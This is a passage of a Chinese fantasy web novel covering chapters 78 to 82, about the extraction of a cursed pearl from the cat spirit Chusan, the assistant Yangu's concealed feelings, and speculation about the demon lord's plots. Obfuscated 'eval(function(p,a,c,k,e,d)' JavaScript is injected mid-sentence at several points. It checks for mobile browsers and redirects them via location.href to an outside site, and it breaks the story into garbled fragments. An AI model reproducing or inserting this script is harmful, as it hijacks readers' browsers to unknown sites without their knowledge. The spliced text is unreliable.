他的视线落在青晏依旧略显苍白的面孔上,声音不自觉地放得更加轻柔:“仙子如今修为受损,取出幽煞珠这件事……不然还是让我来吧?” 完了。 青晏还没来得及阻止,这句犹如水珠炸进油锅里的话就瞬间同时点燃了明煦和初三。他们俩齐刷刷地转过头,异口同声地高声叫道:“修为受损?!” 没有他说得那么严重,”青晏连连摆手,“只是一时消耗过大而已,我身上什么伤都没有,还没有遇见幽煞珠那次严重呢。” 可初三的眼眶还是迅速就红了起来。他不想被青晏看见自己此刻脆弱的神情,遂赶紧将头偏了过去,可无法抑制的鼻音还是出卖了他此刻的情绪:“可,可那毕竟是混沌裂谷,你用了那么多仙丹,肯定没少遇见麻烦事……” “没有没有,”青晏赶忙软声道,“仙丹都是颜故用的,我真没什么事,不信你问颜故!” 颜故接收到青晏包含压力的目光,唇角极浅地勾了一下,随即妥协地改口道:“是,没发生什么大事,不过是法力消耗得比较多罢了。” 初三紧皱着眉头,双眼直直地看着颜故,像是要从他的脸上找出什么破绽:“那为什么你看起来好好的?” 青晏轻轻拍了一下初三的后脑勺:“怎么,难道你还希望他看起来病恹恹的不成?” “没有啊……但,也不能看起来比你还活蹦乱跳吧,你可是比他多了快两万年的修为呢……”初三嘟哝着。 青晏耐心地解释着:“就是因为多了两万年修为,所以遇见事肯定是我优先去解决,总不可能让一个小辈去冲锋陷阵对不对?你也知道这不合理吧?” 初三本还有点怀疑,然而一听到“小辈”这两个字,顿时眉头一挑,转眼去看颜故。可怎么看眼前这人都还是往常那般淡然模样,让初三着实有些捉摸不透。 他眼睛骨碌碌转了两圈,刻意地又重复了一遍:“嗯,我现在明白了,是不该让小——辈——冲在前面。” 颜故没什么表情地看了他一眼,眸中仍旧几乎没有情绪波动。 青晏抬起手,掌心里逐渐浮现出一块冒着丝丝凉气的丝绸。初三顿时瞬间就没了任何逗弄颜故的心思,一双眼紧紧锁着那个他期盼已久的东西。 虽然隔着丝绸,他并看不见里面的东西,但他却清楚地知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114271|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,这就是冰澜草,是能将他从所有人都在为他忧心忡忡、为他竭力付出的境况中解救出来,让他周围所有人的生活都重新恢复正常的那个东西。 尤其是,他最牵挂,最爱的那两个人。 初三咽了咽口水,伸手将那得来极为不易的冰澜草缓缓向口中送去。然而就在冰澜草触碰到他嘴唇的一刹那,一股极为霸道的寒气便顺着他的唇缝强势侵入进去,瞬间席卷了他整个口腔,连带着他的牙齿都开始不受控制地打起寒战。 不,不是光牙齿,他整个身体都跟着发起颤来。那股狂烈的寒气从喉咙一路呼啸着蔓延到胸腔,像是一大桶冰水不由分说地灌了进去,如今正在他五脏六腑里晃荡。那幽煞珠似乎是感应到了这股足以将它彻底赶出的寒气,瞬间又开始在他体内开始胡乱撞击。 初三疼得闷哼一声,手指紧紧抓住摇椅的扶手,用力得连指节都泛了白。他一咬牙,强忍着这股疼痛和酷寒,硬是将整株冰澜草都塞进了口中,囫囵嚼了几下便咽了下去。 “啊————” 一声几乎快要划破天际的嚎叫从初三喉咙深处迸发出来。他的身体剧烈颤抖着,浑身衣物瞬间被冷汗浸得湿透,头上也忽隐忽现地伸出了两只毛茸茸的耳朵。 痛到甚至不能好好维持人形的小白猫在摇椅上蜷得死紧,那模样和他做猫时最喜欢的,在摇椅上团成个团的姿势相差无几,可任谁看了如今这个丝毫没有半点慵懒惬意,只是不住战栗着的姿势,都只能深切地感受到他正在经历着的煎熬。 明煦的眼泪“唰”地就下来了。她不停地催动着自己的本源火焰在初三周身游走,可这平日里还算有效的办法,此时却对初三已经没有了半点作用。就算是他紧紧蜷着身子,也仍能看到幽煞珠在他体内疯狂挣扎的路线,每一次撞击都让他的身体某个部位鼓起诡异的形状,仿佛随时都要破体而出。 青晏按住明煦的手,声音发颤道:“不行,你这样是给幽煞珠喘息的机会。只能这样,只能这样硬撑……” 她说不下去了。 青晏的手有些发抖,可她却依旧稳稳地操控着冰澜草的走向,让它不停地往幽煞珠的方向逼近。那幽煞珠似乎察觉到了威胁,随即猛地往初三的心口一撞。 这一下让初三喉咙里再次爆发出一声惨叫,整个人登时就要从摇椅上弹起来,然而下一瞬却被颜故迅速单手按住。 “别动,”颜故的眼中也满是不忍,然而手下的力道却丝毫不减,“很快就好了。” 青晏的面色更加苍白了。她紧咬着牙,深吸一口气,指尖灵光连连颤动,带着那株冰澜草的凛冽寒意,不由分说地向幽煞珠合围而去。 随着冰澜草的不断逼近,幽煞珠可以活动的范围越来越小,最后只能躲在初三的心口处,仿佛寄希望于通过这种方式能让青晏有所顾忌。 可它错了。 青晏毫不犹豫地伸出手,稳稳按在初三的心口,低喝道:“起!” 霎时间,冰澜草无尽的寒意骤然向四周爆发开来,就连远处的树枝都这股强烈的酷寒侵袭到立即结出了霜纹。初三的身子猛地一僵,紧接着爆发出一阵撕心裂肺的呛咳。 一颗漆黑无光的珠子随着他的呛咳从喉中猝不及防地掉落出来,被青晏一把抓住。她不敢有一丝大意,立即将其封入玄元镜中,随即便像是失去了全身的力气般仰靠在摇椅上,呆呆地看着正在逐渐平息着呛咳和颤抖的初三,眼中逐渐蓄起泪来。 她的小猫,没事了。 青晏连连眨了几下眼,希望能将这喜极而泣的眼泪忍回去,可很快,她的心却猛地一沉。 她不敢置信地又仔细端详了几眼面前的初三,又伸出手去在他身上反复查探,可那浓郁到完全无法忽视的幽冥之气却仍在他身上萦绕盘旋。 初三身上的幽冥之气,竟没有减少半分。 可方才那颗被吐出的幽煞珠上,已毫无一丝幽冥之气存在过的痕迹。 79.异常 终于稍微缓过来点的初三挣扎着抬起头,映入眼帘的便是青晏那紧绷着的严肃面容。他大惊失色:“不会还没完事儿吧?!” 青晏没有回答,只是问道:“你现在感觉怎么样,还难受吗?” 初三左右扭了扭脖子,又舒展了一下自己的肩膀,随后一跃而起,在地上行云流水般耍了一套明煦教他的小连招,动作极为流畅自如。 他得意地拍了拍胸膛:“不难受,挺好的。” 然而那灿烂的笑容却在初三试着运转了一□□内的法力后迅速僵在了脸上。他试了又试,随即立刻抬眼看向青晏,语气里带着几分茫然:“刚才不是已经把那珠子吐出来了吗?怎么……我身上还是会有这么多幽冥之气啊?” 青晏低眼想了想,又问道:“你运用那些力量的时候,是什么感觉?” “也没什么特殊的感觉,嗯……挺流畅的?大概有点类似你们曾经说过的‘心随意动’吧。”初三耸耸肩。 青晏又接连抛出许多问题,诸如他体内是否有两种力量在互相对抗,心口和丹田等地方是否有不适,最后还让初三挨个施展了他如今已经学会的法术,还拿着玄元镜对他照了又照,随即衣袖一挥,转身独自往天宫去了。 “所以你的意思是,你怀疑幽煞珠上的幽冥之气已经被你那猫吸收了,而且状况看起来很是良好,没有任何不适感?”宸景从快有半人高的文牍中抬起头,“这合理吗?” “合不合理的另说,现在情况就是这样。”青晏将封存在玄元镜中的幽煞珠递给他,“你自己看看吧。” 宸景研究了半天,最后不得不也承认幽冥界圣物如今确实变成了一颗毫无灵气的黑珠子的事实,但他还是找了个叠加了层层封印的小盒子,极为慎重地将幽煞珠放了进去,随即对青晏道:“我这有个小玩意儿,拿去吧。” 他将一枚极为不起眼的素戒递给青晏:“这枚戒指能掩盖佩戴者所有的气息,让你那猫戴着吧,多少能避免些不必要的麻烦。” 青晏摩挲着那枚戒指:“所以你的意思是,他体内的幽冥之气先不急着祛除?” 宸景理所当然地点了点头,表示既然初三现在看起来并无大碍,那就说明虽然不知为何,但他体内的幽冥之气已经和他达成了一种微妙的平衡。若是贸然将其祛除,说不准反倒可能打破这种平衡,对他不利。 如今既然幽煞珠已经取出,那么最关键的隐患便已解除。就算日后初三产生任何不适,单纯将幽冥之气祛除的办法也有很多。只要能妥善掩盖住他身上这股异常气息,便能让他继续在天界安然度日。 言毕宸景话锋一转:“这些道理你自己不是也清楚?专程来我这一趟,除了让我了解现状外,怕也是想求个心安吧?关心则乱啊,玄镜仙子。” “你也好意思这么说我?”青晏高高挑起眉毛,“要我从头开始叙述你的那些类似行径吗?” 自知理亏的宸景立即转移话题:“你们这次去寻冰澜草的时候,是不是不太顺利?眼见着你这灵力又亏空得厉害。” 青晏也不和他计较,一边啜着微苦回甘的茶水,一边拣了些重要关节和他说了。宸景听到那魔尊独子沉乾居然想要和青晏成亲时那一段时,脸上的表情别提有多精彩。 他忍了又忍,终究还是幸灾乐祸道:“风烬这辈子坏事做尽,偏生膝下却只有这么一个傻儿子,哎呀,魔界的未来真是一眼看得到头。” 说着说着,他又情不自禁地摸了摸下巴,面上笑意愈发旺盛:“我倒是真想看看,如果沉乾真把你推出去当挡箭牌,风烬那老东西的脸会皱成什么模样,一定十分有趣。” 青晏翻了个白眼:“……你也不能为了看这热闹,就不管我的死活了吧?况且风烬如今正蠢蠢欲动,等到沉乾接手魔界恐怕还要很久,到那时他说不定也已经被风烬教养得心思深沉手段毒辣了呢。” 宸景却摇摇头:“难说。沉乾出生在天魔大战之后,风烬那时忙于养伤,根本无暇顾及他。这么多年来,他几乎是被放养长大的,所以他身上那股天生跳脱张扬,又有点暴躁的本性一直没人梳理。若是风烬现在才想管教他,怕是已经晚了。” “不过……”他的语气又慎重起来,“若是他真以现在这种性子接手魔界,反倒更需警惕。行事全凭心意的人,最难预测。” 青晏缓缓点头,刚打算离开天宫,却忽地想起刚才明煦和初三那副鬼鬼祟祟不知在说些什么的样子。她状似无意地问了宸景天界的守卫布局调整得是不是不太顺利,果不其然得到了宸景疑惑的眼神。再顺着问下去,便得知了在天帝的认知里,他可是完全没有训过明煦的事实。 好啊,这两个人果然是在背着我说别的。 青晏随口安抚了几句仍在淡淡懊悔着“我是不是不小心语气重了凶到妹妹了”的天帝,接着便正色表示她会将混沌裂谷中的经历整理成文牍呈交上来,好让他安排人将这些潜在的危险誊写入相关典籍,随即转身从天宫离开。 她并没有急着返回玄镜宫,而是中途在一处风景极佳的地方停了下来,缓步朝着玄镜宫的方向前行。道路两旁花草繁茂,馥郁而又清新的两种香气交织在一起,逐渐沁入她的心脾,捋顺她脑海中的思绪。 如今初三的危机暂时解除,她终于可以静下心来好好梳理目前那些尚未解开的谜团。 究竟是谁隐匿在天界要对明煦暗中下手,下手的原因又是否和她的身份有关? 明煦和宸景的真实关系是否已经暴露,如此机密之事,暴露的契机又会是什么? 此外,唐禾和其他仙吏已经在着手处理那些吸取人界灵魂的法宝,风烬对此又会有什么后招?阴险狡诈如他,会只凭这一个手段来恢复自己力量吗? 她脑中不断转过各种可能的猜测,不知不觉间天色就已经逐渐暗了下来。青晏长叹一口气,决定给自己的脑子一些休息的时间,遂衣袖一卷,很快便腾移至了玄镜宫门前。 见她回来,如桃笑嘻嘻地迎上前去,兴高采烈地感叹着初三终于可以好好过正常日子了的喜悦。青晏听着如桃在自己耳畔叽叽喳喳,唇边不禁漾出一丝浅浅的笑意。 这才是她该有的生活,平淡,安稳,没有那么多的阴谋与手段,没有那么多的危机与苦难,每一个她关心爱护的人都平安康健,周围的一切都在有条不紊地运转。 她噙着这抹笑意迈进殿内,却意外发现一个本该出现在这里的人竟然不在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青晏看着正以极为舒展的姿势坐在椅子上的初三,忽然就想起一个问题来:“之前就想问你,据说小猫蜷成一团的睡姿表示它对自己身处的环境还是有防备心,要睡成那种四脚朝天的样子,才是真的很放松。我觉得我这玄镜宫应该还算安全,但你之前做猫的时候,为什么一直都是蜷着身子睡觉呢?” 初三的脸上浮起一层可疑的红晕。他飞快地往旁边瞟了瞟,随即挺直胸膛道:“因为……因为我是一只有追求的猫!当然要考虑睡姿的观赏性!” 青晏笑出声来:“好好好,观赏性。那么这只小猫,对于现在自己人形外貌的观赏性还满意吗?” “那当然满意了!”初三昂着脑袋,一脸得意地看着身旁笑眯眯的明煦,“明煦都说我是她见过最好看的人呢!” “纯纯大实话,半点水分都没掺。”明煦心情大好地捏了捏初三的脸,“长这么好看可真是不容易。” 青晏忽地就想起那个本该在这里的,长得也很好看的人来。 她又随意夹了几筷子菜,接着便对明煦道:“我等下还是去看看颜故,万一真是有什么不好恢复的伤,也好及时处理。” “也对,说不定是颜故不想让你费心,觉得自己养养就行了吧。”明煦不以为意道,“等下我也跟你一起去慰问慰问。” “那我也要去。”初三立刻道。 “都别来。”青晏制止道,“人多闹得慌,本来他就是想自己待着才会要回去,我去那也是只是为了确认一下他是否有恙而已。” 明煦没再坚持,只是表示若是真有什么问题可得第一时间告诉她,随后便开始感慨最近真是不太平,不是这个出事就是那个出事。 青晏当然没有放过这个可以加深明煦对如今外界危机四伏印象的机会。几句话过后,她满意地看着明煦老老实实地表示自己还是在天界待着最安全,随即站起身来,向着颜故所在的初琅殿方向行去。 80.决心 初琅殿里安静得要命,青晏甚至感觉连自己走在石板路上的轻微脚步声都变得明显起来。前殿里漆黑一片,青晏绕过屏风走到后门处,远远地见到了寝殿里透出的烛光。 然而就在她距离寝殿门口尚有七八步远之时,那烛光却忽地一晃,紧接着轻轻一声门响,颜故那张眉目如画的俊朗脸庞便出现在青晏眼前。他面上带着和平日里毫无二致的温和笑意,轻声向她问候着:“这么晚了,仙子是有什么要事吩咐我吗?” 颜故侧过身,为青晏让出一条路。她走进的时候,头顶将将掠过他的下颌处,一丝极淡的冷香漫过他的鼻尖,惹得颜故情不自禁轻轻嗅了嗅。 不过很快他便回过神来,跟着青晏在屋内那张方桌旁坐下,还未等青晏发问,颜故便主动开了口:“仙子此番前来,可是因为要与我商讨初三的事?” “初三已经无碍,暂时不必忧心,只需遮掩好身上仍与他共存的幽冥之气即可。”青晏看着他,“倒是你,怎么好端端地突然身上倦起来了,是有什么我不知道的伤吗?” 颜故微微一愣,随即飞速垂睫一笑,眸光不断闪动:“……竟惹得仙子亲自过来确认我的安危,实属不该。我并无大碍,不过确实有些疲倦,所以想着自己恢复一段时间。” “你晋仙后多有剧烈消耗,的确该好好休养了。我明日派人送些丹药来,也能助你快速恢复。”青晏的目光落在桌边的数本典籍,“不过怎么突然看起这些来了,这么好学?” 她本意只是调侃,却没想到颜故竟低低“嗯”了一声:“我此前自诩功法精妙,如今却发现自己多有局限。关键时刻不能帮上忙,反倒成了累赘,还要别人反过来抽出心思关照我。”他缓缓吐出一口气,“这种滋味……实在是不好受,所以要多多精进。” 青晏的食指在桌面上飞快一敲,一道清脆的声响瞬间在室内回荡开来:“又在多虑。也不想想你之前遇到的裂魂琵琶、幽煞珠,以及去过的血雾虚渊和混沌裂谷这些地方,哪一个单拎出来不够万年以上修为的神仙命悬一线个几次?你这个初出茅庐的小神仙能活下来就已经是奇迹了,竟还想着要帮我的忙?” 见颜故还是紧绷着的模样,青晏的语气又软了几分,打趣道:“你都快让全天界从古至今所有的新晋仙使黯然失色了,还想要怎么样?人界有句俗话,叫一口吃不成个胖子,你也不能指望你就靠着自己那一千多年的修为,以及你师父留给你的那些灵力,就立刻能所向披靡,无往不胜吧?” 颜故终于笑了笑:“没有。”他像是在斟酌言辞般顿了顿,声音有些低沉,“只是作为仙子的座下仙使,想尽可能多地帮到你的忙。” 青晏几乎是脱口而出:“你已经帮了我很多,多到任何人都忽视不了你的贡献的地步了。” “是吗?”颜故直勾勾地看着她,目光深邃如潭,“比天帝帮到仙子的地方还多吗?” 这淡淡的醋味刺得青晏心头一凛。她猛然想起自己之前那个“颜故是不是喜欢我”的猜测来,一边在心中懊悔自己方才失言,一边故作镇定道:“在其位谋其政,天帝要承担的责任和做出的贡献本就该比旁人多才是,不必与他比较。” 颜故听着她陡然疏离下来的语气,唇角几不可查地扯了扯,似是试图绽出一个微笑,但最终还是没能成功。他浓密的眼睫低垂下来,以一副轻松的口吻道:“只是随口一说罢了。我一个初出茅庐的小神仙,确实不该与天帝相提并论。” 青晏总觉得他这话音不太对,可却又不知该如何回应。正在她绞尽脑汁之时,颜故却又忽地话锋一转:“不过我倒觉得,若论起对天界的贡献来,仙子的师父或许更胜一筹。毕竟,不是谁都能和存羽仙圣一般有着可以重伤魔尊,以一己之力扭转战局,令魔界不得不偃旗息鼓的绝世风姿。” 青晏闻言微微昂起了头。 嗯,这话倒是不错,师父对天界的贡献确实不容小觑。 颜故见她神情颇有几分自豪,随即淡淡笑了笑,开口道:“也不知仙圣何时才能云游归来,我来天界这么久,还未曾有幸一睹他的风采。”他的声音如春风般和煦,“话说我初到之时,仙子曾提过要与仙圣知会一声带着我们下界游历的事。那时仙圣与仙子说了什么?可有欣慰自己的徒弟能独当一面了么?” 青晏瞟了眼他一脸好奇的神情,随口表示听应该是听到了,但并没回她什么,估计应该是欣慰的。 然而话音刚落,她便顿了顿,斩钉截铁道:“他也必须欣慰。” 颜故闻言轻轻笑出声来:“这么霸道?看来仙圣确实平易近人。可是……仙圣为何不回仙子的传念呢?” 他微蹙着眉,一副正在努力思考的模样。 青晏见他如此认真的神情,不禁觉得有些好笑,遂直言告诉他实在不必费心思去猜,自己师父本就是一个虽然爱看热闹,却并不喜欢置身其中的人。说是去云游,其实也算是顺带着闭闭关,好好精进一下仙法,也修一修他自己的心。 “……修心?”颜故眯了眯眼。 “是啊,”青晏轻叹一声,“虽说如今世人皆赞颂我师父击退魔尊的英勇,但在那场天魔大战里,我师父却也几乎失去了他周围一切的亲朋至交。那样的打击,对任何人来说都太过沉重。所以在那之后,他便总是沉默寡言,每日郁郁不乐。这样的日子持续了很久,直到有一天他突然告诉我要去云游,归期不定。若真有事想要寻他,便通过他留给我的一套口诀联系。” “什么口诀?”颜故笑意清浅,“神神秘秘的,仙子就不感觉奇怪吗?” 青晏不以为意:“他一向如此,做事从不按常理,不然也不会在湛德仙圣和向明仙圣吵架的时候偷偷让我跟着听墙角。至于他不回应我的原因……其实也很简单。” 毕竟在被迫带着颜故他们下界历练之前,她的日子里只有些鸡毛蒜皮的小事,就算师父没去云游,她可能都懒得打起精神和师父说。而座下多了一个新晋仙使,自己需要带着他下界历练之事,严格意义上来也没有多值得一提,只不过是她很久没和师父联系,非要絮叨上一通罢了。 而她絮叨的那些话,师父就算是要回,又能回些什么呢?除了“知道了、长大了、注意安全”这种早就在她意料之中的话外,想必也说不出什么,而她也并不需要这些仪式般的话语。 两旁的灯火随着青晏的耐心解释偶尔发出颤动。颜故的眼神从她的嘴唇逐渐向上挪移,一路漫过她直挺的鼻梁,和精致却又锋利的眉眼。片刻后,他的视线稍稍后退,专注而又不会过于突兀地端详着她漾满柔和笑意的脸庞。 仙子好像真的很尊重,也很爱她的师父。 那我呢?我该怎么办? 他的目光又渐渐滑落下去,可唇角却一直纹丝不动地翘着,仿佛带着这世间最大的兴致,静静地听着青晏的每一句话。 半晌后,青晏解释完毕,伸手拿起桌上的茶盏抿了一口。颜故的目光追随着她的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151288|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好半天才动了动嘴唇,问道:“仙圣应该……对仙子很好吧?” 青晏奇异地看着他:“你突然失忆了?我之前不是说过很多次我师父的好吗?” 颜故一笑,随即垂下眸去:“没有失忆。只是觉得……即使多年未见,仙子口中的存羽仙圣依然如此鲜活,光听你说,我便能想象出来若是他本人站在我眼前,该是何般模样。想来该是因为他在你心中地位斐然,所以无论相隔多远,你都能在脑海中清晰地描摹出他的一举一动吧?” “地位斐然?”青晏琢磨了一阵这几个字,随后极轻极快地扬了下眉,“这么说也没错。首先师父确实对我很好,其次对我这种天地灵气所化的存在来说,当年睁开眼所见的第一个人便是他,多少……也有点雏鸟之情在吧。” 虽说早已知道大致答案,但青晏的这番话还是将颜故本就沉坠下去的心又往泥土里捶入三分。他定定地看着青晏,跃动的烛火烧在他瞳孔里,将其中弥漫着的浓厚阴郁映照得根本看不出半分。 可他的嗓子却抑制不住地哑了起来:“雏鸟之情……所以存羽仙圣对仙子来说,竟可算作是父亲一样的角色吗?” “父亲?”青晏蹙眉想了想,很快便轻笑出声,“非要往这方面想的话,便也可以算吧。人界不是还有句俗话,叫‘一日为师,终身为父’?虽是过于夸张了些,但他老人家毕竟也做了我两万多年的师父,就算是按天数来也够了。” 颜故的喉头哽了又哽,许久才勉强发出声音:“……我知道了。” “我知道了。”他又重复了一遍,接着仿佛用尽全身力气般舒展出一个轻松惬意的笑来,“瞧仙子神情像是有些倦怠,是没休息好吗?” 被颜故这么一提醒,青晏也觉得自己困倦起来,情不自禁地就打了个哈欠:“之前心里总记挂着初三的事,睡也睡不安稳,不过现在终于可以好好歇一歇了。” 她活动了一下肩膀,起身对颜故道:“既然你并无大碍,那我便回去了。你也好好休息。修行不在这一时,别再多思多虑。总这么紧绷着,反而对你不利。” 颜故眨也不眨地看着她,轻声道:“好,仙子。”他眼中隐约有雾气缭绕,“我明白我该怎么做了。” 青晏随意应了一声,转身便向外走去,颜故本想一路送她回寝殿,却被青晏坚定拒绝。无奈之下,他只好就这么停在初琅殿门口,看着青晏的身影被月光拢上一层圣洁的纱,逐渐离他愈来愈远。 直至消失在他目光触及不到的地方。 他就那么站在那里,雕塑一样。夜色寂静,自由的凉风欢快地拂过他的衣角,可他却像被禁锢在这方寸之间,连呼吸都有些停滞。 许久之后,他才缓缓眨了下眼,拖着僵直的身躯,沿着院中的石板路慢慢走回自己的寝殿,步履轻得几乎不带一丝声响。 他悄无声息地推开房门,目光在四周缓缓扫过。 烛火依然明亮地燃着,将屋内照得一片温暖,可他却没来由地觉得这里的一切都黯淡下来,仿佛连光都透着一股寂寥。 他忽然笑了,唇角微微勾出一个自嘲的弧度。 没来由吗,颜故?你明明知道原因的。 他低头盯着门口地上那一点漫进来的清冷光芒,说不清道不明的晦暗情绪在他眸中深处剧烈翻涌。然而片刻之后,他还是抬起手,用力推上了那扇本来并不沉重的门扉。 那温柔倾洒着的月光,就这样,被他亲手隔绝开来。 81.棋局 青晏从长长的甜梦中醒来。 梦里魔界的各种手段都被识破,风烬也心灰意冷野心不再,屡次袭击明煦之人也被找到,自己再没有了任何烦心事,每日都逍遥快活,好不自在。 她伸了个懒腰,出神地在自己脑海中又构画了一下梦到的美好生活,接着随手抓了一件淡草绿的外袍披在身上,一边打着哈欠一边推开了门。 如樱听见门响回过身来,对着青晏笑道:“仙子这是舍得起了?” “倒也没那么舍得,”青晏慢吞吞地向前殿走着,“这床啊,还是要比其他地方舒服得多。” “那不如,仙子再躺半个月?”如樱打趣道,“也好跟现在的凑个整。若是再多几天,还能打破一下之前的记录。” 青晏脚步微微一顿:“我这次睡了有半个月?” “有啊,”如樱端详着她的脸色,“多亏了这半个月,仙子看起来要比之前精神许多呢。” “主要是心里踏实了。”青晏笑笑,“这么久都没人过来叫我,想来是一切安好?” 如樱点点头,将他们周围这几个人的动向都报了一遍。 初三自幽煞珠被取出后,每日都生龙活虎地跟着明煦到处上蹿下跳,已经几乎不怎么回玄镜宫这边住了;至于颜故,这半个月里就来前殿露了一炷香左右时间的脸,其余大部分时间都在初琅殿自行休养。不过偶尔也会有小仙侍见到他拿着本典籍到处走走停停,像是在找个好地方练功。 得,又练上了。 青晏无奈摇头。 管不了,这是真管不了。兴许他就是和宸景一样痴迷于精进功法,所以才会有那么流畅的身姿和优秀的反应速度吧。有些人啊,天生就是干大事的料…… 而我就不是了。 她懒懒地靠在亭内的石凳上,听着如樱继续和她说着唐禾的近况。 据明煦所言,唐禾在人界收缴那些可以吸取魂魄的魔界法宝时,表现极为出色,短短两三个月,他便凭借着幽肆最大的法宝商人丞五提供的那份模糊不清的交易记录,成功追踪并收缴了五六个邪宝,同行仙吏们对他赞不绝口。 青晏感慨了一阵自己和明煦属实幸运,两位座下仙使都个顶个的优秀后,忽地想起来若是严格来讲,这俩人其实都是经过宸景精挑细选后才分至她们身边的,不免有些心虚。 不过一阵风后,她便迅速把这份心虚抛在脑后,开始细细琢磨起魔界除了利用法宝来吸取魂魄外其他可能的手段。 据传当年天魔大战后风烬魔核受损,不仅全身魔功几乎尽数消散,就连后续的修炼也因魔核的损伤而进展缓慢。为此,他的弟弟风涯四处奔波,寻找各种异宝试图修复兄长的魔核。如今风烬既能使出这种吸取魂魄以增长自身修为的手段,就说明他的魔核起码已经恢复到可以勉强运转的地步了。 有小道消息称,风烬如今的魔核,有一半竟来自于风涯。这个说法虽然离奇,但也并非完全不可信。毕竟当年有确切证据显示,风涯所搜集的那些奇珍异宝对风烬的魔核修复来说几乎没有效果,甚至就连直接吞噬其他魔族的魔核也收效甚微。 作为一界之主,尤其是在魔界这种只认强者为尊的地方,这种状态极为危险,所以风烬若是铤而走险,一点点削去自己的魔核为风烬的魔核修补,以此来维持住风烬的魔尊地位,也不是完全没有可能。 风涯与风烬本是同源而生,修炼的魔功也属同宗。若是风烬的魔核已经破碎到连吞噬其他魔族的魔核都无法修复的地步,那么风涯的做法,或许真的是唯一可行的办法。不过不管风烬是不是真的用这个办法恢复过来的,那些散布在人界的法宝都可以证明他已经在暗中布局了。 虽说这手段已经足够隐秘,他也小心控制着吸取魂魄的数量不会过于庞大,这才导致此举已经施行了许多年后才被心细的温隐所发现,但按照风烬的性子,他绝无可能会将全部希望押宝在这一个手段之上。 最起码,妖界已经出现了好几个法力高强的大妖都莫名失踪的现象,难说是否还有其他更多的,如阿抹这般无人在意的小妖悄无声息地消失,化作风烬用来恢复自身力量的养料。 亭外的风渐渐大了起来,树叶摇动发出“沙沙”的声响。青晏的目光透过亭子的雕花栏杆望向那片树影,心中思绪万千。 魔界手段向来诡谲多变,风烬的其他棋子,究竟会下在哪里呢? 青晏的目光无意识地随着她飘散的思绪游离着。忽地,远处一片熟悉的衣角闯入了她的视野,使得她的瞳孔不由自主收缩起来,视线也朝那处聚焦而去。 瞧着像是颜故的衣裳。 她试探着喊了一声颜故的名字,那片衣角微微一滞,随后从树影后转出身来,笑意温和地向她行礼。 “怎么,今日选到这里来修炼了?”待颜故坐进亭中后,青晏瞧着他手中那本典籍调侃道。 颜故勾了勾唇:“看来即使身在梦中,仙子也依旧能掌握我的一举一动。” “哪有这么夸张,不过是几个小仙娥看见过你努力修行的样子罢了。身体恢复得如何了,可还疲倦吗?” “多亏了仙子的丹药,如今已经大好了。”颜故规规矩矩地答道。 他本想就这么过去算了,然而心口处涌动着的奇怪感觉还是让他忍不住发问:“瞧仙子方才坐在这里出神,可是还在想魔界的事?” 青晏细眉微微一挑:“就说你像是长在我脑子里了似的,我刚才确实是在想这些。” 长在仙子脑子里…… 颜故的脸颊不受控制地热了几分,又被他自己硬生生压了下去。他咽了咽,待呼吸平稳后才又开口道:“仙子可是在想风烬的其他手段?” 青晏点点头,将自己方才的猜测告诉了他,随即又道:“妖界的异常我们无需过多忧心,他们妖皇肯定会去处理。而人界的那些法宝也有仙吏在收缴,目前进展很快。这两种办法都已经不能再长久使用了,我若是风烬,此时就该着重依赖于之前布下的其他暗棋。” 颜故眸光闪了闪,没有说话。 青晏继续道:“虽说无论从哪个角度来看,幽冥界都不太可能与和自己有着血海深仇的魔界合作,但我总觉得就算幽冥界反应速度慢,许多本该归属幽冥界的魂魄都被风烬吸走了的事,他们就真的半点都没发觉?” 颜故垂眸笑了笑:“或许真的像澈樾神君说过的那样,幽冥界的掌权者里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“更何况……”他抿了抿唇,目光在青晏脸上顿了一瞬,“幽冥界一向风平浪静,前些日子却骤然生了一场诸鬼出逃的大乱。这样的混乱过后,魂魄的数目对不上便情有可原了。毕竟它们既有可能是尚未追回,也有可能是途中消散。若是风烬从幽冥界吸取的魂魄已经多到无论如何都填补不上这个窟窿,这场动乱,便很有可能是那位配合风烬的掌权者不得已使出的伎俩。” 青晏盯着他看了一会儿,忽然问道:“你有这些推测已经多久了?” “有段时日了。”颜故唇边笑意淡淡。 他坦然地回望青晏,平静道:“之前总是在一刻不停地解决各种各样的问题,脑子里的想法像是一团打了死结的毛线,想要理清实属不易。但这半个月里我基本都在独处,没什么急事挂心,心境也清明了许多,所以才能从以往混乱的线索里,尽量捋顺出几点猜测来。其实我之前还有许多猜测,但思来想去……还是目前这些最为合理。” “是啊,总是要静下心来,方能有精力去思索。”青晏认同地点点头,随即又道,“将自己界内的魂魄挪去给魔尊恢复力量,如此釜底抽薪的举措,背后定然有着极大的利益考量。但问题在于,这位掌权者到底能从中得到什么好处?还是说,那人有什么把柄在风烬手里,才不得不出此下策?” 82.守护,守护! 